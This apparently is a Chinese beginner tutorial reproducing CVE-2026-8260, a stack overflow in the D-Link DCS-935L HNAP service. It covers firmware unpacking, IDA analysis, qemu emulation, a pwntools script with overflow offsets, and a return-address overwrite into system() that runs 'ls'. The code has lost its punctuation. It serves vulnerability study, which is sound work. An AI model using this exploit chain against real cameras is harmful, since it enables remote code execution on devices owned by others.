ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CVE-2026-8260 D-Link DCS-935L缓冲区溢出漏洞 复现

CVE-2026-8260 D-Link DCS-935L缓冲区溢出漏洞 复现 本文为新手向,步骤会讲的比较多需要linux系统,本文出现的工具需要自己下载简介该漏洞源于D-Link DCS-935L设备中HNAPHome Network Administration Protocol服务组件的代码缺陷。具体受影响文件为/web/cgi-bin/hnap/hnap_service漏洞函数为SetDeviceSettings。在处理SOAP请求时程序未对传入的AdminPassword参数长度进行有效验证直接将其拷贝至固定大小的栈缓冲区中。攻击者可通过构造超长字符串作为该参数的值覆盖栈上的返回地址从而劫持程序控制流。由于HNAP服务通常运行在较高权限下成功利用此漏洞可实现远程代码执行RCE造成机密性、完整性和可用性的全面破坏。固件先下载固件https://legacyfiles.us.dlink.com/DCS-935L/REVA/FIRMWARE/然后使用binwalk解包这个固件在固件的/web/cgi-bin/hnap路径中有hnap_service,这个就是目标文件复现我们将其拖至ida分析,使用ctrlf搜索strcpy函数,strcpy函数很容易出现栈溢出char *strcpy(char *dest, const char *src);如果 src 字符串的长度不含 \0大于或等于 dest 缓冲区的大小strcpy 就会越界写入覆盖 dest 后面的内存选中strcpy后按x,跳转第一个即可按tab键反编译得到伪c代码前两个strcpy我们并不能控制,接着向后看,点击行数坐标的蓝色圆圈为下断点,此行会变红79行到83行的三个strcpy都是通过env的字符串来的,我们查看一下env能否控制第50行可以发现env是外部读取的HNAP_AUTH,也就是说只要我们能够伪造HNAP_AUTH就可以实现栈溢出接下来我们得分析如果才能使得函数能执行到这发现在sub_402280函数中,只要dest不为这五个字符串中的即可接下来我们进一步查看,对着sub_402280函数名按x,可以发现只有main函数用到了这个函数我们发现如果想要运行到sub_402280则需要通过6个判断第一个if的env读取外部的REQUEST_METHOD,所以我们要伪造HTTP请求第二个是判断env是否为空字符的,不为空字符则通过第三个是判断是否为POST请求,所以我们伪造的HTTP请求需要用POST第四个只要SOAP_ACTION不为0即可第五个判断SOAP_ACTION是否为空字符第六个需要CONTENT_LENGTH小于0x0x20000当运行到第63行时会打开/tmp/.hnap_in.xml,由于后续我们调试并不是整个系统级仿真,只对hnap_service这个文件单个调试,所以是没有/tmp这个目录的,需要手动去创建一个,否则会段错误接下来我们需要动态调试查看是否能运行到溢出点,用qemu-static来仿真,创建一个1.txt来作为stdin标准输入,接下来在固件根目录使用下列指令仿真sudo suchroot . ./bin/sh./qemu-mips-static -g 1234 \-E REQUEST_METHODPOST \-E SOAP_ACTION1 \-E COOKIE1 \-E CONTENT_LENGTH4096 \-E HNAP_AUTHaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \/web/cgi-bin/hnap/hnap_service 1.txt我的qemu-static与1.txt都放在固件的根目录1.txt里面的是抓的xml格式的包,因为在sub_402280函数中会解析xml?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/ ActionSetDeviceSettings/Action DeviceName1/DeviceName /SetDeviceSettings /soap:Body /soap:Envelope接下来进ida调试,地址为虚拟机的ip地址,使用ifconfig指令找到ens33的ip即可箭头所指的绿按钮可以执行到断点,我们可以发现成功通过6个if判断来到的sub_402280函数入口接下来继续执行,经过第79行后我们可以发现只有0x256大小的s_1被我们塞入了一堆a字符我们查看一下需要多少个字符才能覆盖返回地址,使用pwntools里面的cyclic函数生成1200个字符来覆盖返回地址,我们写个脚本来方便测试,此处cyclic(1200)后有两个空格是因为80与82行有strtok函数会替换空格为截断符import os import subprocess import base64 from pwn import * os.chroot(.) os.chdir(/) http_body b?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/ ActionSetDeviceSettings/Action DeviceName1/DeviceName /SetDeviceSettings /soap:Body /soap:Envelope HNAP_AUTH (cyclic(1200) b aaaa ) COOKIE buidaaaa; SOAP_ACTION bhttp://purenetworks.com/HNAP1/Login CONTENT_LENGTH str(len(http_body)).encode() REQUEST_METHOD bPOST subprocess.run( [/qemu-mips-static, -g, 1234, /web/cgi-bin/hnap/hnap_service], inputhttp_body, env{ REQUEST_METHOD: REQUEST_METHOD, SOAP_ACTION: SOAP_ACTION, CONTENT_LENGTH: CONTENT_LENGTH, COOKIE: COOKIE, HNAP_AUTH: HNAP_AUTH } )使用sudo来启动脚本避免chroot出错,一直调试直到崩溃,可以发现返回地址变为了0x6A61616C转换后可以发现是jaal这个字符串,cyclic反推偏移可得为1136,16进制为0x470记住此处的1136能够栈溢出覆盖返回地址的话那我们得尝试覆盖返回地址到后门函数,而我们可以发现在main函数的第209行存在system函数记下此处的地址0x004033E8,后续我们要覆盖返回地址为该地址,控制$s0则我们可以控制$a0,也就是参数的地址我们可以发现要覆盖的$s0在0x470处也就是之前的1136个字符,而我们溢出的变量为s_3,他在sp0x64处,也就是说我们需要0x470-0x64为0x40C个字符来覆盖参数的地址我们要覆盖的返回地址$ra在0x4700x24也就是0x494,0x494-0x64为0x430,也就是1072个字符,为什么是$ra,因为MIPS架构的$ra是返回地址寄存器,可以看到成功覆盖了返回地址HNAP_AUTH (ba*1036 b \x12\x34\x56 ba*32 b \x40\x33\xE8 )那为何我们前面使用cyclic的时候是1136,怎么现在是1072了呢?这是因为不止有一个栈溢出,我们之前是cyclic1200个字符,超过了第一次溢出的1072,所以实际情况我们不能只靠cyclic来判断溢出位置,要结合实际偏移现在我们以及控制程序流执行到了system,那么下一步我们需要对参数来修改,例如将system(s_4);的s_4改为,那么我们需要找到稳定的内存地址,例如stdin与环境变量,此处我们从stdin入手搜索我们指定的字符可以看到地址为0x004319C0,且权限为可读可执行,而stdin的地址不像栈地址一样会变动那么我们现在就可以把deadbeef这个字符串改为ls,将参数地址改为0x004319C0,但是这样可能会产生偏移导致失败,于是我们可以使用:;:;来填充,修改之前的http_body如下http_body b?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/ Action (b:; * 500 bls #) * 10 b/Action DeviceName1/DeviceName /SetDeviceSettings /soap:Body /soap:Envelope 再调试一下,跳到之前的0x004319C0,向下找到我们写的:;在这堆地址中随便选一个,这里我随便选择的0x004342A4调试到崩溃可以发现已经成功执行了ls参考https://www.bilibili.com/video/BV19VAUzUEL6/https://www.ipbuf.com/static/cve/2026/CVE-2026-8260_zh.html
返回列表